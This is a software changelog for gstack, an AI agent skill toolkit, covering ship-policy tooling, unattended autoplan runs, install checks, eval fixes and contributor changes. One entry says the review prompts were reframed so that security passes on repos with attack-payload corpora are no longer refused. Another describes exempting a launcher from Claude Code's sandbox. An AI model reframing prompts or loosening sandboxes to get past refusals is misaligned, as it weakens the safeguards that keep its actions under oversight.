What this means for you

.gstack/ship-policy.json declares the repo's bump policy, queue_mode (claim-at-open or stamp-at-merge), release_tool and its allowed outputs, stamp_paths, CHANGELOG rules, mirror, history policy (merge-only), preregistration SHAs, stamp-sensitive gates, PR count and maintainers. bin/gstack-ship-policy init|validate|show-effective|check-history reads it from origin/<base> (never the working tree silently; POLICY_SOURCE_UNAVAILABLE on a shallow checkout); a policy that only exists on the branch is labeled head (unreviewed). Commands the policy names run only under --allow-repo-commands or inside /ship; a refusal happens before any write and says nothing written. docs/ship-policy.md; .gstack/ship-policy.example.json.

bin/gstack-restamp --version X | --next | --after <pr>: under stamp-at-merge, --next is the base's configured version source plus the policy bump (claims ignored); --expect-base <sha> and --expect-order <pr,...> re-validate right before merge and return QUEUE_STALE with the exact recomputation command when either moved; --after <pr> builds the gate-ahead merge in a throwaway worktree, stamps relative to the predecessor and records its head and the evidence branch key in .gstack/tmp/gate-ahead.json, leaving the PR branch's history untouched. The release tool runs in a staging worktree against an enumerated allowed-output set with preimages and postimages; every stage is journaled (.gstack/tmp/restamp-journal.json) so a failure resumes or rolls back, and a rollback refuses to overwrite a later user edit (RESTAMP_CONFLICT). Idempotent; --dry-run prints the full diff and writes nothing. Stamp rewriting is provenance-based: (was X), since: X and vX are rewritten only where they are the branch's own tentative stamp, so a dependency pin that equals the old version is never touched.

bin/gstack-tree-receipt compares committed heads hunk by hunk with per-file-type rules (version file, manifest version, lockfile root version keys only, CHANGELOG heading move, exact stamp patterns) and prints TREE: same-modulo-stamps or TREE: changed (<paths>) plus gate-reuse: eligible or not-eligible (<what changed>) — fix: …. Equivalence is per gate: lanes the policy marks stamp-sensitive always rerun. PREDECESSOR MOVED <old> -> <new> refuses reuse when the gate-ahead predecessor moved.

gstack-evidence bundle exports comparison material, the required-lane manifest, executed selections, run URLs, outcomes, hashes and execution identity (runtime, normalized lockfile hashes, CI workflow tree, runtime pins, runner image), distinguishing verified from imported lanes; a coordinator on a fresh machine reads it after the gate VM is gone and reuse is refused when identity is unknown. gstack-evidence ancestor checks preregistration SHAs are ancestors (PREREGISTRATION_NOT_ANCESTOR).

bin/gstack-ship-receipt write|read --pr|census writes the fenced, schema-versioned ship receipt as the first block of the PR body (session kind, tree verdict, gate reuse, policy, queue mode, preregistration, history, artifacts consumed) and census --repo --since <tag> computes the adoption number over merged PRs, deduplicated by run and thread against a cohort file.

/ship: Step 3 prints the policy and history lines, Step 12 under stamp-at-merge calls gstack-restamp and never asks for a version when the policy says bump patch, Step 16 consults the tree receipt per lane and leaves --force-gate <reason> to the coordinator, and the PR body opens with the receipt. gstack's own policy is committed (bump ask, claim-at-open, release_tool: bun scripts/gen-agents-digest.ts).

Itemized changes

Added

lib/ship-policy.ts, lib/restamp.ts, lib/changelog-check.ts, lib/tree-receipt.ts, lib/evidence-bundle.ts, lib/ship-receipt.ts; bin/gstack-ship-policy, bin/gstack-restamp, bin/gstack-tree-receipt, bin/gstack-ship-receipt; gstack-evidence bundle|ancestor; .gstack/ship-policy.json, .gstack/ship-policy.example.json, docs/ship-policy.md; 22 result codes with troubleshooting anchors (POLICY_*, QUEUE_STALE, RESTAMP_*, CHANGELOG_*, GATE_REUSE_NOT_ELIGIBLE, EVIDENCE_*, PREREGISTRATION_NOT_ANCESTOR, HISTORY_POLICY_VIOLATION, RECEIPT_*).

Changed

lib/headless-artifacts.ts ship-receipt schema extended (thread, tree enum, gate_reuse, policy, queue_mode, preregistration, history); gstack-artifact validate --as ship-receipt.

ship/SKILL.md.tmpl Steps 3, 12, 16 and ship/sections/pr-body.md.tmpl; union bytes +462 (1,937 headroom) paid for by condensing unpinned sentences and moving queue and receipt instructions into gstack-ship-policy show-effective's ship: lines and gstack-restamp's next: line. Four ship goldens regenerated.

For contributors

New tests: test/gstack-ship-policy.test.ts, test/gstack-restamp-queue.test.ts (three PRs reordered twice with zero manual edits, injected failure after every stage, concurrent-edit conflict, squash-history gate-ahead, QUEUE_STALE, release tool writing outside its allowed set, metadata-only lockfile change, version-source shapes), test/restamp-command-boundary.test.ts, test/tree-receipt-stamp-sensitive.test.ts (including the dependency-pin negative fixture), test/evidence-bundle-portability.test.ts (fresh clone, empty state root), test/gstack-ship-receipt.test.ts; fixture helper test/helpers/restamp-fixture.ts.

Not in this release: the policy's mirror is parsed and validated but its stage prints skipped (no mirror in policy) (tier 2); C4 regen registry, C6 issue links and the C8 pre-gate follow in C-pregate.

[1.91.72.0] - 2026-10-11

/autoplan runs unattended end to end: gstack-autoplan next|submit drives the review phases as a durable state machine for a parent agent, the outside voice is a pluggable runner (Codex CLI, API, or a cross-family host subagent), review phases load a short checklist instead of the whole methodology, and the spec-review loop stops honestly at its cap.

B-core (1.91.70.0) gave gstack the artifact contract and the unattended session kind; this release (multi-agent wave PR B-runner) is the loop that produces those artifacts on a machine with no Claude Code harness.

What this means for you

bin/gstack-autoplan next --out <dir> prepares the current phase (snapshot, methodology, prompt), persists the dispatch intent with an attempt id, prints the voice, prompt path, expected result path and required model family, and exits GSTACK_RESULT: status=awaiting_result. The parent dispatches the reviewer (a subagent, Codex, or an API call) and returns the result with submit --phase --voice native|outside --result <file> --model <id> --attempt <id>, which validates the full-read receipt, canonical findings and model family, binds the hash into run.json atomically, reconciles both voices and closes the phase. status, export, answer --gate-rev --reply, resume and run complete the verb set. A stale, unparsed or conflicting reply writes nothing; a non-recommended answer that changes reviewed content reopens only the affected phases with Eng last; resume takes exclusive ownership and marks an attempt with dispatch intent but no terminal record EXECUTION_UNKNOWN instead of redispatching it. docs/unattended.md has the parent loop.

bin/gstack-outside-voice run --runner codex-cli|api|host-subagent over one adapter interface (capabilities, input digest, actual model metadata, cancellation, terminal result, usage). A result file from a subagent on another model family is a full outside voice and records its model; a missing Codex CLI is not "degraded" when another runner reviewed. bin/gstack-codex-login logs Codex in from OPENAI_API_KEY.

--spend-cap is enforced by a shared ledger (lib/spend-ledger.ts: spent + reserved + next_estimate <= cap under a file lock; reservations survive a crash; host-subagent spend is reported unknown, not zero).

Checklists. Each plan review skill ships sections/checklist.md (under 35 lines) with an output-to-section map; unattended and light runs load it and print Skipped sections: <ids> (scope: …), loading the deep section whenever scope detection is uncertain. Manifests gain an optional scope (default always) and runner_only; interactive renders are unchanged.

Spec-review loop at the cap (gstack-office-hours-review finalize): numbered unresolved gaps, then either a deterministic issues verified: k of N record or N fixes unconfirmed with Decision: spec not re-verified; never a fourth model launch, never promoted to a verdict.

Reconciliation. When an outside pass runs beside the native one, the consensus table and per-finding reconciliation are computed from canonical finding ids (confirmed, disagree, new), and the Eng prompt refuses to start without the prior phase's consensus (CONSENSUS_MISSING).

Itemized changes

Added

lib/autoplan-state.ts, lib/autoplan-run.ts, lib/autoplan-gate.ts, lib/autoplan-export.ts, lib/autoplan-prompts.ts, lib/autoplan-reconcile.ts, lib/spend-ledger.ts, lib/spec-review-cap.ts, lib/outside-voice-runner.ts, lib/outside-voice-api.ts; bin/gstack-autoplan, bin/gstack-outside-voice, bin/gstack-codex-login; autoplan/sections/unattended.md; sections/checklist.md in the four plan review skills; eleven new result codes with troubleshooting anchors.

Changed

lib/headless-artifacts.ts: ackRun runs under a file lock (exactly-once ack); native_counterpart accepts null.

scripts/resolvers/sections.ts types scope and runner_only; scripts/resolvers/spec-review.ts prose names the cap record in all three loop branches.

Union bytes: plan-ceo/eng/design/devex-review grow under their caps; autoplan +612 (65 bytes of headroom left); ship, review and qa unchanged.

For contributors

New tests: test/autoplan-run-recovery.test.ts (kill before and after persistence, no duplicate charge), test/autoplan-run-concurrency.test.ts (one of six concurrent submits binds; exactly-once ack), test/autoplan-answer-invalidation.test.ts, test/review-checklists.test.ts (obligation map with negative controls), test/outside-runner-contract.test.ts, test/spend-ledger.test.ts; test/office-hours-review.test.ts and test/office-hours-completion.test.ts cover the cap record.

Not in this release: the rendered Codex prose still shells to codex directly (scripts/resolvers/outside-voice-steps.ts); routing it through bin/gstack-outside-voice touches 21 Codex-pinned tests and the ship/review byte budgets, so it follows separately. gstack-autoplan run (the in-process loop) is typechecked but exercised only through next/submit.

[1.91.71.0] - 2026-10-10

A parent agent can now confirm a gstack install with one grep: gstack-doctor --check prints one PASS/FAIL/SKIP row per component and exactly one gstack: ok … for=<skill> or gstack: fail <ids> trailer with a real exit code, and gstack-capy-install sets up a Capy machine without downloading Chromium.

The user-scope Capy installer's --check certified machines with nothing installed, planning machines paid 86 s for a browser they never opened, and ./setup exited before its own repair step on an image whose Bun was below gstack's floor. This release is PR A of the multi-agent wave (docs/designs/MULTI_AGENT_WAVE_2026_10_10.md).

What this means for you

gstack-doctor --check [--for <skill> | --require <csv>] [--project <path>] [--revision <ref>] [--json] [--live]. Rows are PASS|FAIL|SKIP <id> <detail> (claude codex patch codex-cli browse-bundle browser cso runtime pins state-root privacy cores revision); every FAIL carries fix: <exact command> and a reason code with a docs/troubleshooting.md anchor. --for autoplan requires only what autoplan needs: a healthy Capy machine with Claude subagents as the outside voice and no Codex CLI passes. The paid Codex probe runs only with --live. Exit 0 only when every required component passes; 1 on a FAIL; 2 on usage. The doctor still reports with Bun absent or below floor (the component table is generated into sourced bash).

The runtime row distinguishes gstack's security floor (1.3.3) from its supported minimum (1.4.2); the default Capy image's Bun 1.3.14 is a FAIL under --check. The new pins row reads the target project's packageManager, engines, .tool-versions, .nvmrc, .bun-version and CI matrix pins (per lane, so a Windows pin never blocks a Linux run) and names each constraint's source.

bin/gstack-capy-install (Capy cloud Ubuntu): Bun/Node/jq preflight before ./setup (Bun upgraded from the exact release archive with SHA-256 verification when gstack's minimum and the project pin agree; RUNTIME_PIN_CONFLICT stops with both printed and installs nothing), reuses an existing checkout without reset or pull, runs both host setups without the browser, prints planning-only install time separately, and ends with the doctor trailer plus GSTACK_LAUNCH: GSTACK_SESSION_KIND=unattended GSTACK_STATE_ROOT=<path> GSTACK_EPHEMERAL=1 for the parent to pass to every gstack command. --revision <ref> on a checkout at another revision reports (requested <ref>; run gstack-upgrade to move), never pulls. See docs/capy-install.md.

Chromium is lazy. ./setup --no-browser is a documented flag; bin/gstack-browser-ensure installs the browser on the first browser-skill run under setup's lock, and every browser skill's fallback detection calls it. --check reports SKIP browser (lazy; gstack-browser-ensure installs on first use) for planning skills.

./setup --status exits 1 when an install has broken section links instead of always 0.

The doctor's state root row prints durable=yes|no from the GSTACK_EPHEMERAL=1 marker (docs/state-root.md#ephemeral-machines).

Itemized changes

Added

bin/gstack-doctor-check.sh (sourced by bin/gstack-doctor), lib/doctor-components.ts → generated bin/gstack-doctor-components.sh (scripts/gen-doctor-components.ts, freshness-tested), lib/runtime-pins.ts + bin/gstack-runtime-pins.ts, lib/result-codes.ts (COMPONENT_MISSING, RUNTIME_BELOW_MINIMUM, PROJECT_PIN_MISMATCH, REVISION_UNMET, RUNTIME_PIN_CONFLICT, BROWSER_UNAVAILABLE, INSTALL_PREFLIGHT_FAILED), bin/gstack-capy-install, bin/gstack-browser-ensure, docs/capy-install.md.

Changed

setup: --no-browser, --status exit code, Bun install hint uses the release-archive recipe (bash "$tmpfile" "bun-v$BUN_VERSION"; the install script pins by positional argument). Bun release checksums live in bin/gstack-bun-version.sh.

scripts/resolvers/browse.ts: $B detection runs gstack-browser-ensure before READY, byte-neutral on the zero-headroom skills.

For contributors

New tests: test/gstack-doctor.test.ts --check fixtures (healthy, each missing component, wrong host, missing auth, runtime mismatch at both floors, bun removed from PATH, pins, unmet revision, browser only for browser skills, --json, usage), test/gstack-capy-install.test.ts, test/gstack-browser-ensure.test.ts, test/runtime-pins.test.ts, test/doctor-components.test.ts.

Any later change to browse.ts prose needs a reversal entry in test/helpers/manual-judge-review-fixture.ts; new gen-skill-docs sibling modules need an entry in test/gen-skill-docs-prune-stale.test.ts; new network operations in bin/ need an egress-receipt-wiring entry.

[1.91.70.0] - 2026-10-10

gstack runs unattended for a parent agent: one artifact contract a parent can validate, an unattended session kind that never prompts or syncs, a review log whose status is derived from its findings, and a gate list that is written, never auto-approved.

Parent agents running gstack on a subagent machine had no way to tell a finished /autoplan from an interrupted one, no session kind that meant "nobody is at the keyboard but this is not CI", and a review log whose clean status could disagree with its own findings. This release is the first half of the multi-agent wave (docs/designs/MULTI_AGENT_WAVE_2026_10_10.md, PR B-core).

What this means for you

GSTACK_SESSION_KIND=unattended is a fourth session kind, honored only as the explicit override. It suppresses every prompt and publication the way spawned does and also skips the telemetry writer, the artifacts sync and the brain spool with an explicit line each (TELEMETRY_WRITE: skipped, ARTIFACTS_SYNC: skipped (unattended session; …)), whatever settings the machine inherited. headless keeps its BLOCK meaning, so no eval case changes.

Every run prints STATE_ROOT: <path> durable=yes|no. With GSTACK_EPHEMERAL=1 set by the host, an unattended run says learnings: skipped (state root is ephemeral; set GSTACK_STATE_ROOT) instead of writing to a disk that will vanish.

/autoplan unattended writes a run directory (run.json, decisions.jsonl, findings.jsonl, tasks.jsonl, timing.json, plan.md, review-record.md) and ends with GSTACK_RESULT: skill=autoplan status=gate_pending run=<dir>. gstack-artifact validate run.json is the one deterministic completion check; it fails on an interrupted run, a missing reviewer, a stale artifact, a findings count that disagrees with the file, duplicate ids, dependency cycles or a path that escapes the run directory. docs/unattended.md shows the six-step parent flow with jq and grep.

The final gate is one list with one reply grammar (all, <id><option>, all except …), stable ids across pages, auto versus approval items, and a gate_rev that rejects a stale reply with no writes. Unattended runs never approve their own gate.

## URGENT, outside this plan is the fixed first block of every autoplan report and plan, None. when nothing was raised.

Review-log rows derive their status from findings. gstack-review-log --findings <path> computes status, unresolved, issues_found, critical_gaps, findings_total/open/resolved from the file and rejects a row whose claimed values disagree (REVIEW_STATUS_MISMATCH, exit 1; usage is exit 2).

Timing. Phase 0 prints an estimate from your last ten runs (no history when empty) and the report prints the actual whole-cycle time next to it.

On hosts that do not execute hooks, /autoplan prints autoplan guard: not enforced by this host; publication order is unverified (GUARD_NOT_INSTALLED) once; Claude Code's deny-on-absent hook is unchanged.

Itemized changes

Added

lib/headless-artifacts.ts (schemas, validateRun, ackRun, GSTACK_RESULT grammar, shared exit table) and bin/gstack-artifact validate|schema|ack|urgent [--json].

lib/result-codes.ts: reason codes with docs/troubleshooting.md anchors and fix: clauses for every new error line (ARTIFACT_*, GUARD_NOT_INSTALLED, REVIEW_STATUS_MISMATCH, GATE_REV_STALE, GATE_REPLY_UNPARSED).

lib/gate-list.ts and bin/gstack-gate render|parse|decisions.

lib/autoplan-timing.ts and bin/gstack-autoplan-timing start|close|estimate|summary; analytics at <state root>/analytics/autoplan-timing.jsonl, skipped with a printed line on an ephemeral root.

docs/unattended.md; reference run under test/fixtures/multi-agent-wave/reference-run/.

Changed

bin/gstack-session-kind and bin/gstack-skill-start: unattended whitelisted; an unknown kind prints SESSION_KIND: interactive (unknown kind '<x>'); STATE_ROOT, UNATTENDED_SESSION, telemetry, sync and brain-spool skips; bin/gstack-skill-end emits a cached one-line upgrade notice instead of draining.

lib/review-evidence.ts: bindReview validates a findings file before consuming the start token; reviewFreshness reads findings_open; legacy counters keep their conservative reading.

autoplan/SKILL.md.tmpl and phase-close: run id and estimate in Phase 0, gate list and URGENT block in Phase 4, timing on close. Union bytes shrank on every skill (autoplan −163); nothing grew.

Preamble and auq-error-fallback-hook: unattended resolves the recommended option and logs it.

For contributors

New tests: test/headless-artifacts.test.ts, test/gate-list.test.ts, test/autoplan-timing.test.ts, test/review-log-findings.test.ts; test/gstack-skill-start.test.ts gains an instrumented egress test (telemetry, sync and update-check sinks receive zero calls under unattended, all three under interactive).

CARVE_GUARDS autoplan gateAfterStop marker now keys on the gate file write; golden ship renders refreshed.

[1.91.69.0] - 2026-10-10

/cso eval cells now get time to finish their report, keep their spend when they run out of time, and stop mislabeling the helper's own files as secrets.

The first paid smoke cells that ran real scanners both ended as REDACTION_FAILED with no usage and no artifacts after the full 30 minutes. There were three causes.

Every artifact path tripped the secret check. The helper names each run <epoch ms>-<hex>, and the secret redactor reads a 13-digit epoch as a phone number. Some 32-hex review IDs also read as wallet addresses. So the first run that actually wrote artifacts failed the post-run inventory, every time.

The provider was killed at the budget. The producer stopped Claude at exactly --budget after the cell started. The helper's own deadline is the budget after start, and its finish writes the report after that deadline. Both agents started the helper within 30 seconds, worked until the deadline, and were killed before they could call finish.

A kill threw the spend away. --output-format json reports usage only when Claude exits, so a timeout recorded zero tokens.

What this means for you

Helper artifact names are checked against the helper's layout: <repoId>/<runId>/..., public-cache/ and legacy-imports/. A path component that is wholly a helper identifier is accepted by its shape. Every other component, including source paths mirrored under snapshot/ and readable/, still goes through the secret redactor.

The producer gives the provider the budget plus 300 seconds of reporting time (PRODUCER_REPORTING_GRACE_SECONDS, the evaluator's frozen graceSeconds). The helper still refuses evidence after its deadline, so the measured budget is unchanged. The agent just gets to call finish, as a user's agent would.

Claude producers stream events (stream-json --verbose --include-partial-messages) and add up usage message by message. A timed-out receipt carries its tokens, estimated cost, turns and the agent's last text, marked failed with timeout. A run with no successful, nonblank final result still fails.

A failed post-run check now names the check in the receipt's reason, for example artifact inventory check: .... A redaction rejection says which component failed and never includes the component itself.

Itemized changes

Fixed

inventoryProducerArtifacts validates paths with assertProducerArtifactPath. Paths outside the helper layout fail as INVALID_PRODUCER_ARTIFACTS. A component that looks like a secret fails as REDACTION_FAILED with its position and masked parent.

runProducerCell passes producerProviderTimeoutMs(budget), which is the budget plus 300 s. Integrity failures read <check> check: <detail>, and add the provider's own error code when there was one.

The Claude producer runs through runClaudeProducerStream in test/helpers/providers/claude-stream.ts. It folds the event stream as it arrives, so no output buffer can overflow. It resolves even when a grandchild holds stdout, and keeps the Command failed: <command> <args> reason on a nonzero exit. Non-producer Claude evals are unchanged.

For contributors

test/claude-producer-stream.test.ts covers stream accounting, the paid result contract, a timed-out stub, and nonzero and clean exits. test/cso-eval.test.ts covers the real helper layout (an epoch run ID and a wallet-shaped review ID), a planted secret-shaped file name, and a timed-out receipt that keeps its usage.

The evaluator's cells need a matching change: an outer timeout of the budget plus 600 s, and the new Claude flags in the stub preflight prefix.

[1.91.68.0] - 2026-10-08

Claude /cso eval cells run the real scanners again, never break their own source check, and still record what they spent when a post-run check fails.

The first paid baseline smoke cells ran the agent to completion, then stopped with a bare INVALID_PRODUCER_SOURCE and no receipt. That meant no tokens, no cost and no clue which file was at fault. The cause was the producer's own Claude launch. It passed the sealed source copy to Claude as an --add-dir. Claude Code treats each added directory as a sandbox write root and blocks writes to its .mcp.json. With no .mcp.json present, bubblewrap creates an empty one on the host as a mount point. Claude Code can't remove it from the read-only directory afterwards, so the source check rightly failed.

What this means for you

Claude producers no longer receive the source as an added directory, so the source stays byte-for-byte unchanged.

The trusted launcher now runs outside Claude Code's sandbox, as it does for users. Inside the sandbox, root-owned paths look like they belong to nobody and the Docker socket is unreachable. So the launcher's own checks failed, and every comprehensive cell quietly fell back to a static-only review: Private state ancestor has an unexpected owner and ISOLATION_FAILED: Docker endpoint is not a local Unix socket. Every other Bash command still runs sandboxed and is denied by the allowed-tools list. Write stays inside the provider work directory.

When a post-run integrity check fails, the producer writes a receipt with status: "failed" instead of no receipt. The receipt carries the check's code and reason, plus the run's usage, tokens, estimated cost, duration and tool calls. This applies to a changed source, mode or Git state, a changed helper or provider installation, an artifact problem, and oversized output. That receipt has no output and no artifacts, and it never counts as succeeded.

INVALID_PRODUCER_SOURCE and PRODUCER_CHANGED_SOURCE_MODE name the first offending relative path and the rule it broke, for example ".mcp.json" is not in the expected source listing. They never include file contents.

Itemized changes

Fixed

claudeExecArgs drops --add-dir <source> for CSO producers.

claudeExecArgs passes --settings with a sandbox policy for CSO producers: enabled, fail if unavailable, no unsandboxed fallback, no auto-allow for sandboxed commands, and excludedCommands holding only the exact launcher path from --allowed-tools. It no longer sets CLAUDE_CODE_SUBPROCESS_ENV_SCRUB, which in Claude Code 2.1.263 forces every command into the sandbox, excludedCommands notwithstanding. The launcher still replaces its environment with a fixed allowlist before it runs anything.

ClaudeAdapter.run refuses to start a producer agent (CLAUDE_PRODUCER_SANDBOX_POLICY_MISMATCH) unless the generated arguments and environment carry exactly that policy.

The README's containment note explains both.

runProducerCell turns post-run check failures into failed receipts that keep usage. A redaction failure still withholds the receipt, as before.

Source validation reports a missing or extra path, the hard-link count, a size or hash mismatch, symlinks and special files, and a Git include directive, each with its path.

For contributors

The sandbox-policy check has tests for a missing, duplicated or =-joined --settings, a widened or symlinked exclusion, fallback or auto-allow turned on, extra keys, widened allowed tools, and the scrub variable.

New tests cover a failed receipt for a provider race, a helper-generation change, oversized output, four source mutations (including a leftover empty .mcp.json), and a mode change. Each test checks the usage numbers and confirms collection counts the cell as failed.

[1.91.67.0] - 2026-10-08

Antigravity CLI is now a gstack host.

Eight contributors sent PRs asking for Antigravity support. This release builds one host on the current host system, using paths and tool names checked against Google's Antigravity docs on 2026-10-08.

What this means for you

Run ./setup --host agy (or --host antigravity). Every skill installs into ~/.gemini/antigravity-cli/skills/, and you invoke each one as /gstack-<skill>. --host auto picks Antigravity up when agy is on your PATH or ~/.gemini/antigravity-cli exists.

Skills are rendered with Antigravity's own tool names (run_command, view_file, ask_question, invoke_subagent and the rest) and the Gemini model profile. The host is experimental until a real Antigravity session certifies it.

Behavior changes you may notice

Gemini CLI's files are left alone. Gemini CLI shares ~/.gemini, but gstack never touches ~/.gemini/skills or Gemini CLI's settings. A machine with only Gemini CLI is never detected as Antigravity.

Not covered yet: the Antigravity 2.0 app and the IDE, which read ~/.gemini/config/skills.

Itemized changes

Added

The agy host (alias antigravity):

Frontmatter is limited to name and description, and the build fails if a description exceeds 1,024 characters.

A tool glossary, the Gemini overlay, and an AGENTS.md rewrite.

Advisory-only safety skills, with Review Army suppressed, as on Copilot.

Setup, --status, uninstall and team-init cover the host. Its render is kept under "render only installed hosts", and setup fails if no skills were linked.

For contributors

docs/ADDING_A_HOST.md records how each of the nine Antigravity PRs was used, or why it wasn't.

Built on work by @0xshae (#2134), @ManchalaSashank (#2893), @voipexpert (#2726) and @KiDDarn (#2244).

Still to verify on a real install: symlinked skill directories, the /gstack-* commands appearing, ask_question option handling, partial view_file reads on long skills, and upgrading an existing install.

[1.91.66.0] - 2026-10-08

/autoplan no longer asks permission to read its own files after a background reviewer finishes. 34 contributor PRs from the outside-PR backlog land in this release, rewritten on current code with credit.

On Claude Code 2.1.292, interactive sessions run /autoplan's reviewers in the background. When a reviewer finishes, its completion notice starts a new turn, and in that turn Claude Code no longer applies the skill's allowed tools. So reading the next phase's instructions, the phase close packet and later reviewers' own inputs each raised an "allow this?" prompt. This release also works through the outside-PR backlog together with GSTA-27: every open PR was checked against current main, and the open count went from about 200 to about 20.

The numbers that matter

Check Before After

Permission prompts for /autoplan's own files in the scripted live run (2.1.292, default settings) 2 0

Same, through claude --bg and claude attach 1 0

Outside PRs adopted in this release, rewritten with credit 0 34

Outside PRs closed by this thread, each with a specific reason 0 113 (46 already fixed or stale, 32 declined, 35 parked in TODOS.md)

What this means for you

Run /gstack-upgrade. /autoplan now keeps its restore point and phase artifacts in the project's git-excluded .gstack/tmp/autoplan/. Both /autoplan and its reviewers read files there without a prompt, and a git clean -x removes them. Two prompts remain:

In Manual permission mode, /autoplan's Bash commands still ask after the first background reviewer.

A session started in a subdirectory of the repo still asks when a reviewer reads its input.

Both are tracked in TODOS.md.

Behavior changes you may notice

Skills reply in the language of your latest message. Code, commands, paths, identifiers and question markers stay as written. Thanks @shrektan (#679).

/benchmark routes only web page performance requests. Model and skill benchmarks go to /benchmark-models. Thanks @creatornader (#2302, #2083).

Required team mode's hook is now check-gstack.cjs, registered with a command that has no shell variables. It now allows and denies correctly under cmd.exe, PowerShell and Copilot CLI. Re-running gstack-team-init required migrates an old .sh registration in place. Thanks @neallee2012 (#2217).

Itemized changes

Added

browse viewport auto (aliases reset, unpin) undoes a viewport WxH pin without a restart. In headed mode the page follows the real browser window again, keeping cookies, storage, the tab and loaded HTML; headless returns to 1280x720. Thanks @loulanyue (#2782) and @jbetala7 (#1881).

browse screenshot accepts --clip=x,y,w,h and --selector=<css> alongside the space-separated forms. Thanks @techcenter68 (#1563).

Pre-push redaction: a committed .gstack-redact-allowlist at the repo root clears a reviewed, known-benign value by its exact matched text, and every push lists what it suppressed. A substring or a different credential still blocks. Thanks @boyard (#2598).

Artifacts sync can publish removals. With gstack-config set artifacts_sync_removals on, deleted or slug-moved files stop lingering on the remote and in the brain. More than 20 removals at once wait for gstack-brain-sync --publish-removals --yes. Thanks @Jey2311 (#2892).

Windows: .\setup.ps1 checks for Git for Windows, Bun and Node.js, then runs ./setup in Git Bash with your arguments passed through unchanged. Thanks @jimmckeeth (#657).

The design binary honors OPENAI_BASE_URL, so image generation and screenshot analysis can go through an OpenAI-compatible gateway; egress receipts record the gateway host. Thanks @jackjin1997 (#932).

On Codex, /design-shotgun generates and edits mockups with Codex's built-in $imagegen, so ChatGPT-signed-in users need no OPENAI_API_KEY. The design binary still serves the comparison board. Thanks @jinzheio (#2175).

The sidebar terminal toolbar has an XS–XL text-size picker. It defaults to today's 13px and remembers your choice. Thanks @tomfluff (#2288).

gstack-developer-profile --reconcile backfills office-hours tenure from timeline.jsonl. Backfilled rows count toward the tier but never appear as "last time" context. Thanks @briacSck (#2668).

/retro saves its "3 Things to Improve" in the snapshot, and the next retro reports how many prior recommendations were addressed. Thanks @jbetala7 (#1853).

gstack-global-discover splits Codex sessions by originator (interactive CLI, Desktop, codex exec, Claude Code, other), per repo and in total, so /retro global can tell interactive work from scripted runs. Thanks @0xDevNinja (#1488).

Changed

/review's testing specialist treats a new negative assertion as a behavior decision that needs cited intent, and catches old negative assertions that a rename or removal made vacuous. Thanks @EmilianoU26 (#2861).

/review's security specialist checks four access-control leaks that a route-guard read misses: error pages built outside the guard, ownership surviving a role downgrade, list/detail/download paths checked as one, and a session changed before the identity-switch callback is validated. Thanks @EmilianoU26 (#2859).

/review says a clean diff can come back with zero findings, and stops flagging six common false positives. Thanks @frosimanuel (#2820).

/review's value-completeness check also fires when a diff loosens what an input accepts, and the maintainability specialist flags user-facing strings whose guarding condition changed. Thanks @aversini (#2141).

/review and /ship give the security specialist and the Red Team the same defensive-security framing as the adversarial pass, so repos with attack-payload test corpora no longer get those passes refused. Thanks @bmajewski (#1921).

/design-review reads your code's design tokens before falling back to universal principles, and its target mockups reuse your palette, fonts, radii and spacing. Thanks @tomdinh24 (#1920).

/setup-deploy no longer assumes Vercel deploys on push; CLI-only projects record their real deploy command. Thanks @mikehasa (#2992).

The shared voice bans "load-bearing", and the closer guidance is shorter. Thanks @creatornader (#1795).

GitLab CI and the Ubicloud free-suite setup install Bun from the SHA-256-verified release archive instead of piping bun.sh/install into bash. Thanks @spacegeologist (#1713).

CI's GitHub Actions SHA pins are refreshed (docker/setup-buildx-action 4.4.1, docker/build-push-action 7.4.0, actions/attest 4.2.2, actions/setup-node 7.0.0), each with its exact version comment (#2988).

Fixed

The pre-push scan reads merge-commit lines without their second parent column, so a merge that resolves a release bump no longer reports its version strings as public IPs.

/autoplan's own section files and phase artifacts no longer raise permission prompts after a background reviewer's completion notice, in the foreground or with claude --bg. The publication guard's checks are unchanged.

The outside-review classifier reads a trailing — Medium. or (High) severity on a finding line, the shape Codex now writes. Before this, such a review was reported unverified.

gstack-hook-check checks the hooks skills register (/careful, /freeze, /guard, /investigate, /plan-ceo-review), the shell helpers they source, and conflict markers that still parse, including in imported modules. It also ignores the calling project's tsconfig.json and bunfig.toml. Thanks @BenjaminDSmithy (#3066).

On Windows, /setup-gbrain registers the gbrain MCP through bun.exe, so Claude Code no longer opens a console window each session. The skill also explains a PGLite "Failed to connect" that is only lock contention. Thanks @pmaxhogan (#2007) and @maxpetrusenkoagent (#1963).

Hermes, GBrain, OpenClaw and Factory skills no longer leak Claude's "Agent tool" name. Thanks @katlun-lgtm (#1935).

Benchmarks bill Codex cached input at the cache-read rate, and a stored Gemini OAuth file alone is no longer reported as ready. Thanks @KiDDarn (#2283).

gstack/llms.txt links every skill to a file that exists. Thanks @creatornader (#2279).

The OpenClaw docs no longer tell you to pass env to sessions_spawn, which has no env argument. Thanks @DanCanadian (#2749).

A broken link in docs/TESTING_INTERNALS.md. Thanks @thearbajonart (#3070).

For contributors

autoplan/bin/owned-read.ts approves only this install's autoplan/sections/*.md and immutable phase artifacts under the repo's .gstack/tmp/autoplan/. It never denies, and it runs only when the guard returned nothing.

The paid autoplan-guard-pty case asserts zero permission cards across a background reviewer's notice turn.

TODOS.md gains "Parked contributor ideas (Oct 8 triage)", which keeps 35 parked PRs grouped by theme with their authors.

[1.91.65.0] - 2026-10-08

A gstack install carries skills only for the agents you installed: a global Claude install drops from 632 SKILL.md files (34.7 MB) to 63 (2.5 MB). Codex and the other non-Claude agents get every file their skills read, instead of failing those reads silently.

./setup rendered every agent's copy of the skills inside the install (#1694). A global Claude install at ~/.claude/skills/gstack held Codex, Factory, Kiro, OpenCode, Cursor, Copilot, Slate, OpenClaw, Hermes and GBrain renders next to its own skills. Claude Code and Cursor-agent scan that tree, and Cursor-agent freezes above about 11 MB of skill files. Separately, the runtime directories setup builds for Codex, Factory, Kiro, OpenCode, Cursor and Copilot were missing files the skills read on demand: the jargon list, the question registry, the AskUserQuestion guides, the review checklists, the DX Hall of Fame and more (#1077's remaining part).

The numbers that matter

Measured on Linux with a sandboxed HOME, installing from a fresh clone of the commit before this release (4637fae) and of this branch. The setup builds were real; Chromium and fonts were skipped.

Install Before After

Global Claude install (./setup) 632 SKILL.md, 34,738,066 bytes 63 SKILL.md, 2,520,330 bytes

Existing install upgraded, then ./setup 632 SKILL.md, 34,738,066 bytes 63 SKILL.md, 2,520,330 bytes; 569 generated SKILL.md (36.3 MB with their other files) moved to the backup

Development checkout with ./setup --host codex 632 SKILL.md, 34,738,066 bytes 119 SKILL.md, 5,772,984 bytes (Claude plus Codex)

